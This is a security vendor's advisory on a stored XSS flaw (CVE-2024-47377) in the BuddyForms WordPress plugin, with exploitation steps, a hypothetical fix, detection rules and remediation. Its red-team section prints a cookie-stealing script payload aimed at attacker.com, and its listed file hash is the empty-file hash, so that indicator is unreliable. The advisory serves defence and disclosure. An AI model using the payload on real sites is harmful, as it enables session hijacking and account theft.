CVE-2024-47377
Executive Summary
CVE-2024-47377 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themekraft BuddyForms plugin for WordPress, affecting versions up to and including 2.8.12. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts or HTML into the BuddyForms plugin’s pages. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor’s status is unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The BuddyForms plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users should consider the plugin as a supply chain risk. Organizations should audit their WordPress installations for this plugin and either remove it or apply virtual patching via a Web Application Firewall (WAF) until an official fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – A victim must view the compromised page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin can lead to significant downstream attacks, including admin account takeover.
Deep Dive & Mechanics
The vulnerability exists in the BuddyForms plugin’s form builder functionality. When a user with contributor-level access or higher creates or edits a form, the plugin fails to properly sanitize and escape user-supplied input before storing it in the database. Specifically, the buddyforms shortcode or form field labels/descriptions are not sanitized. When the form is rendered on the frontend or backend, the malicious input is executed as HTML/JavaScript.
Root Cause: The plugin uses echo or _e() functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() on user-controllable data. This allows an attacker to inject arbitrary script tags.
Attack Flow:
- Attacker logs in with a contributor account.
- Attacker creates a new form or edits an existing one.
- Attacker injects a malicious payload into a form field (e.g., label, description, or placeholder).
- The payload is stored in the WordPress database.
- When an administrator or other user views the form (e.g., in the admin panel or on the frontend), the payload executes.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.
Vulnerable Code (buddyforms/includes/form.php):
<?php
// Vulnerable: Direct output without sanitization
echo '<label for="' . $field['name'] . '">' . $field['label'] . '</label>';
?>
Patched Code (Hypothetical):
<?php
// Patched: Properly escape output
echo '<label for="' . esc_attr($field['name']) . '">' . esc_html($field['label']) . '</label>';
?>
The patched version uses esc_html() to neutralize any HTML/JavaScript in the label and esc_attr() for attribute values.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress installation with BuddyForms plugin <= 2.8.12.
- Attacker account with contributor-level privileges.
Exploitation Steps:
- Log in as a contributor.
- Navigate to
wp-admin/admin.php?page=buddyforms-formsand create a new form. - In the form label field, inject the following payload:
<script>alert('XSS')</script> - Save the form.
- As an administrator, navigate to the form list or view the form on the frontend.
- The JavaScript executes, demonstrating the XSS.
Advanced Payload (Cookie Stealing):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Note: No public exploit code is available from Exploit-DB at this time.
Blue Team (Defensive)
Detection:
- Monitor for unusual form creation or modification events by low-privileged users.
- Look for suspicious strings in form fields, such as
<script>,onload=, orjavascript:. - Use a WAF to block common XSS payloads in POST requests to
wp-admin/admin-ajax.phpor form submission endpoints.
Hunting Query (WordPress Logs):
SELECT * FROM wp_posts WHERE post_type = 'buddyforms' AND post_content LIKE '%<script>%';
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
buddyforms/includes/form.php(SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Log Entries:
- WordPress audit logs showing form creation/modification by non-admin users.
- Web server logs with
POSTrequests to/wp-admin/admin-ajax.phpcontainingaction=buddyforms_save_formand suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2024_47377_BuddyForms_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2024-47377 in BuddyForms plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-47377"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/is
$xss_payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss_payload3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-47377 BuddyForms Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts against BuddyForms plugin
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=buddyforms_save_form'
sc-status: 200
keywords:
- '<script>'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47377 BuddyForms Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=buddyforms_save_form"; http_client_body; pcre:"/(<script|onerror|onload|javascript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and delete the BuddyForms plugin until an official patch is released.
- Virtual Patching: If the plugin is critical, implement a WAF rule to block XSS payloads in form submissions.
- User Privilege Review: Restrict contributor-level access to trusted users only.
Long-Term Fix:
- Monitor the Themekraft website or WordPress plugin repository for an update.
- Apply the official patch as soon as it becomes available.
- Conduct a security audit of all WordPress plugins and themes.
Workaround:
- Use a security plugin like Wordfence to add an additional layer of XSS protection.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.